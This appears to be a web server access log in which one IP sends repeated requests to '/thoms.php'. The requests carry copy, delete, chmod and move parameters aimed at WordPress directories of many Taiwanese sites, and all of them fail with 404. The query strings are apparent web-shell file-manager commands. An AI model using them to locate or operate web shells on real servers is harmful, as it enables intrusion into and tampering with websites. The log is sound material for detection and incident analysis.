45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?del=bioway88.com-20260912023827&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bioway88.com-20260912023827&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com-20260912023827&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com-20260912023827&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?chmod=bioway88.com-20260912023827&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bioway88.com-20260912023827&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /bioway88.com-20260912023827/ HTTP/1.1" 404 18444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:59 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:00 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:01 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
